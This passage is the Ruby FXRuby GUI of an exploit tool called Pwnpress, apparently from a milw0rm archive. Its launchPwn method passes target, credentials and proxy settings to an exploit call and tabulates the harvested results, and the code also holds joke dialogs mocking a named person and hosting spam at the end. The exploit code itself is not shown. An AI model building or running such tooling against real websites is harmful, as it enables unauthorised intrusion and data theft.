        FXLabel.new(proxymatrix, "Hostname:", nil)
        FXTextField.new(proxymatrix, 14, @options[:proxy_host], FXDataTarget::ID_VALUE,
        FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_ROW)
        
        FXLabel.new(proxymatrix, "Port:", nil)
        FXTextField.new(proxymatrix, 5, @options[:proxy_port], FXDataTarget::ID_VALUE,
        FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_ROW)
        
        # Now the results widgets
        results = FXGroupBox.new(flayout, "Results", LAYOUT_FILL_X|LAYOUT_FILL_Y|GROUPBOX_TITLE_CENTER|FRAME_RIDGE)
        @result_table = FXTable.new(results, :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 2)
        @result_table.visibleRows = 11
        @result_table.visibleColumns = 3
    end
    
    def evroni_fortune()
        title = "WARNING: Original Evronian Fortune - Gadi Evron says..."
        micon = FXGIFIcon.new(@pwnApp, THE_REAL_HERO)
        evroni_quote = EVRONIAN_QUOTES[rand(EVRONIAN_QUOTES.size)]
        ret = FXMessageBox.new(@pwnApp, title, evroni_quote, micon, MBOX_YES_NO).execute
        return ret
    end
    
    # Serialize the options and launch the Pwnpress instance
    def launchPwn(s, p, c)
        real_options = {}
        
        real_options[:version]      = @options[:version].value
        real_options[:fingerprint]  = @options[:fingerprint]
        real_options[:table_prefix] = @options[:table_prefix]
        real_options[:covert_level] = @options[:covert_level]

        if @options[:proxy_port].value != 0 and @options[:proxy_host] != ""
            real_options[:proxy_host] = @options[:proxy_host].value
            real_options[:proxy_port] = @options[:proxy_port].value
        else
            real_options[:proxy_host] = nil
            real_options[:proxy_port] = nil
        end
        
        if @options[:username].value != "" and @options[:password].value != ""
            real_options[:username] = @options[:username].value
            real_options[:password] = @options[:password].value
        else
            real_options[:username] = nil
            real_options[:password] = nil
        end
        
        real_options[:target]     = @options[:target].value
                
        begin
            pwnInstance = Pwnpress.new(real_options)
            pwnInstance.exploit
            
            if pwnInstance.results
                refreshResultTable(pwnInstance.results)
            else
                FXMessageBox.new(@pwnApp, "Hmm, no results after exploitation",
                "Something didn't work or target is not vulnerable :(",
                FXGIFIcon.new(@pwnApp, THE_REAL_HERO), MBOX_OK).execute
            end
        rescue => e
            FXMessageBox.new(@pwnApp, "Ooops: danger rabbi robinson!", e.message,
            FXGIFIcon.new(@pwnApp, THE_REAL_HERO), MBOX_OK).execute
            puts "............. EXCEPTION"
            puts e.message
            puts e.backtrace
            puts "......................."
        end
    end
    
    # Refresh the FXTable containing the results after exploitation.
    def refreshResultTable(results)
        # calculate total size of results hash
        rows_size = 0
        cols_size = 4 # id + data type + name + data
        cols_headers = [ "TYPE", "NAME", "KEY", "VALUE" ]
        
        results.each do |r|
            r[1][:data].each do |n|
                n[1].each do |i|
                    rows_size += 1
                end
            end
        end
        
        @result_table.setTableSize(rows_size, cols_size)
        row_num = 0
        results.each do |r|
            row_id      = r[0].to_s
            row_type    = r[1][:data_type].to_s
            
            # output to FXTable widget, yummy (a textbox was too simple :( )
            r[1][:data].each do |n|
                n[1].each do |i|
                    row_name  = i[0].to_s.stripfmt
                    row_value = i[1].to_s.stripfmt
                    row_key   = n[0].to_s
                    cell_type = cols_headers.index("TYPE")
                    cell_name = cols_headers.index("NAME")
                    cell_key  = cols_headers.index("KEY")
                    cell_value = cols_headers.index("VALUE")
                    
                    @result_table.setItemText(row_num, cell_type, row_type)
                    @result_table.setItemText(row_num, cell_name, row_name)
                    @result_table.setItemText(row_num, cell_key,  row_key)
                    @result_table.setItemText(row_num, cell_value,row_value)
                    @result_table.setRowText(row_num, row_id)
                    
                    if row_num != rows_size-1
                        row_num += 1
                    end
                end
            end
        end
        
        cols_headers.each do |h|
            @result_table.setColumnText(cols_headers.index(h), h)
        end
        
        @result_table.setCellColor(0, 0, FXRGB(255, 255, 255))
        @result_table.setCellColor(0, 1, FXRGB(255, 240, 240))
    end
    
    # every decently funny exploit should feature a good soundtrack:
    # THE FINAL COUNTDOWN by Europe (thanks to j. h. christ for the suggestion)
    def play_soundtrack
        unless RUBY_PLATFORM =~ /linux/
            FXMessageBox.warning(@pwnApp, MBOX_OK, "Music not available :(",
                "Only Lunix is supported for pwnage soundtrack, sorry.")
            return
        end
        
        unless File.exist?("europe-the_final_countdown.mp3")
            FXMessageBox.warning(@pwnApp, MBOX_OK, "Music not available :(",
                "Please put The Final Countdown (by Europe) as:\n"+
                " europe-the_final_countdown.mp3 - in the same "  +
                "directory of pwnpress-gui, enjoy.\n You will "   +
                "need some mp3 supported player too.")
            return
        end
        
        play_path = `which mpg123`.chomp
        unless File.exist?(play_path)
            play_path = `which mplayer`.chomp
        end
        
        unless File.exist?(play_path)
            FXMessageBox.warning(@pwnApp, MBOX_OK, "No supported mp3 player",
                "Please install either mpg123 or mplayer in PATH.")
            return
        end
        
        # It's THE FINAL COUNTDOWN! BLOGGERS FALLIN THEY R HATIN ME FLOATIN...
        @sound_pid = fork do
            exec "#{play_path} europe-the_final_countdown.mp3"
        end
    end
end

pwnGUI = PwnFoxGui.new()
pwnGUI.activate

if pwnGUI.sound_pid
    exec "kill -9 #{pwnGUI.sound_pid}"
end

# milw0rm.xmc.pl [8x16*32^n]

Polish: Webdeveloper | Probably the best hosting company Interserver
SEO Shop: Multi-quality SEO links | Best Proxy Service.
Group: xmc.pl